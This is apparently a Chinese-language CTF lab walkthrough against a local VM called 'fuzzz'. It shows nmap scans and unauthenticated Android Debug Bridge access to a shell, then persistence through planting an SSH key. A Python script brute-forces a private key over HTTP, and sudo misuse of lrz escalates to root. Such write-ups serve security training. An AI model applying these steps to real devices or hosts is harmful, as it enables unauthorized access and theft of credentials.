┌──(root㉿kali)-[~] └─# nmap 192.168.250.67 -Pn Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-0223:12 CST Nmap scan report for bogon (192.168.250.67) Host is up (0.00093s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 5555/tcp open freeciv MAC Address:00:0C:29:B8:32:24 (VMware)
Nmap done:1 IP address (1 host up) scanned in1.87 seconds
┌──(root㉿kali)-[~] └─# nmap 192.168.250.67 -sV -p 5555 Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-0223:13 CST Nmap scan report for bogon (192.168.250.67) Host is up (0.0018s latency).
PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge (token auth required) MAC Address:00:0C:29:B8:32:24 (VMware) Service Info:OS: Android; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in8.17 seconds
这里扫出了一个平时不常见的端口5555 用-sV扫描版本 得到是adb服务 问了一下gpt这个adb是什么 Android 的远程管理工具，只要设备启用了 USB 调试就可以连接
┌──(root㉿kali)-[~/tmp] └─# adb connect 192.168.250.67:5555 * daemon not running; starting now at tcp:5037 * daemon started successfully connected to 192.168.250.67:5555
┌──(root㉿kali)-[~/tmp] └─# adb shell / $ id uid=1000(runner) gid=1000(runner) groups=1000(runner)
┌──(root㉿kali)-[~/tmp] └─# adb shell / $ cd ~ $ ls ~ $ ls -al total 8 drwx------ 2 runner runner 4096 May 19 09:08 . drwxr-xr-x 4 root root 4096 May 19 10:02.. lrwxrwxrwx 1 root runner 9 May 19 09:08.ash_history -> /dev/null ~ $ cd/home /home $ ls asahi runner /home $ cd runner ~ $ ls -al total 8 drwx------ 2 runner runner 4096 May 19 09:08 . drwxr-xr-x 4 root root 4096 May 19 10:02.. lrwxrwxrwx 1 root runner 9 May 19 09:08.ash_history -> /dev/null ~ $ mkdir .ssh ~ $ cd.ssh
~/.ssh $ exit
把公钥写到.ssh中的authorized_keys
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[~/tmp] └─# ssh runner@192.168.250.67 The authenticity of host '192.168.250.67 (192.168.250.67)' can't be established. ED25519 key fingerprint is SHA256:y+2KKHDaMy8FmNZpu0PMG4PJ+b1w5rQQScGZYvJj4L8. This keyisnot known by any other names. Are you sure you want tocontinue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.250.67' (ED25519) to the list of known hosts.
fuzzz:~$ id uid=1000(runner) gid=1000(runner) groups=1000(runner)
fuzzz:~$ netstat -lntup netstat: showing only processes with your user ID Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp00127.0.0.1:800.0.0.0:* LISTEN - tcp000.0.0.0:55550.0.0.0:* LISTEN 4291/python3 tcp000.0.0.0:220.0.0.0:* LISTEN - tcp00 :::22 :::* LISTEN -
for line_num inrange(1,6): print(f"[*]正在爆破第{line_num}行")
current = "" whileTrue: # 直到找不到字符说明这行结束了 found = False for char in charset: path = current + char url = f"{base_url}line{line_num}/{path}" response = requests.head(url,timeout=5,allow_redirects= True)
if response.status_code == 200: current += char print(f"[+]current_line:{current}") found = True break# 找到了一个就跳出内层循环 ifnot found : print() break# 如果内层循环都找完了， 说明这行已经找完了 id_rsa.append(current) print("[*]爆破完成") print("\n".join(id_rsa))
fuzzz:~$ sudo -l Matching Defaults entries for asahi onfuzzz: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asahi: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User asahi may run the following commands onfuzzz: (ALL) NOPASSWD: /usr/local/bin/lrz fuzzz:~$ /usr/local/bin/lrz -h lrz version0.12.21rc Usage: lrz [options] [filename.if.xmodem] Receive fileswith ZMODEM/YMODEM/XMODEM protocol (X) = option applies to XMODEM only (Y) = option applies to YMODEM only (Z) = option applies to ZMODEM only -+, --append append to existing files -a, --ascii ASCII transfer (change CR/LF to LF) -b, --binary binary transfer -B, --bufsize N buffer N bytes (N==auto: buffer whole file) -c, --with-crc Use 16 bit CRC (X) -C, --allow-remote-commands allow execution of remote commands (Z) -D, --null write all received data to /dev/null --delay-startup N sleep N seconds before doing anything -e, --escape Escape control characters (Z) -E, --rename rename any files already existing --errors N generate CRC error every N bytes (debugging) -h, --help Help, print this usage message -m, --min-bps N stop transmission if BPS below N -M, --min-bps-time N for at least N seconds (default: 120) -O, --disable-timeouts disable timeout code, wait forever for data --o-sync open output file(s) in synchronous write mode -p, --protect protect existing files -q, --quiet quiet, no progress reports -r, --resume try to resume interrupted file transfer (Z) -R, --restricted restricted, more secure mode -s, --stop-at {HH:MM|+N} stop transmission at HH:MM or in N seconds -S, --timesync request remote time (twice: set local time) --syslog[=off] turn syslog on or off, if possible -t, --timeout N set timeout to N tenths of a second --tcp-server open socket, wait for connection (Z) --tcp-client ADDR:PORT open socket, connect to ... (Z) -u, --keep-uppercase keep upper case filenames -U, --unrestrict disable restricted mode (if allowed to) -v, --verbose be verbose, provide debugging information -w, --windowsize N Window is N bytes (Z) -X --xmodem use XMODEM protocol -y, --overwrite Yes, clobber existing file if any --ymodem use YMODEM protocol -Z, --zmodem use ZMODEM protocol
short options use the same arguments asthelong ones
User asahi may run the following commands on fuzzz: (ALL) NOPASSWD: /usr/local/bin/lrz (ALL : ALL) NOPASSWD:ALL
这里我用的final shell 写命令后会让选择文件，上传之后就发现当前用户用所有权限了
1 2 3
fuzzz:/etc$ sudo su - fuzzz:~# id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
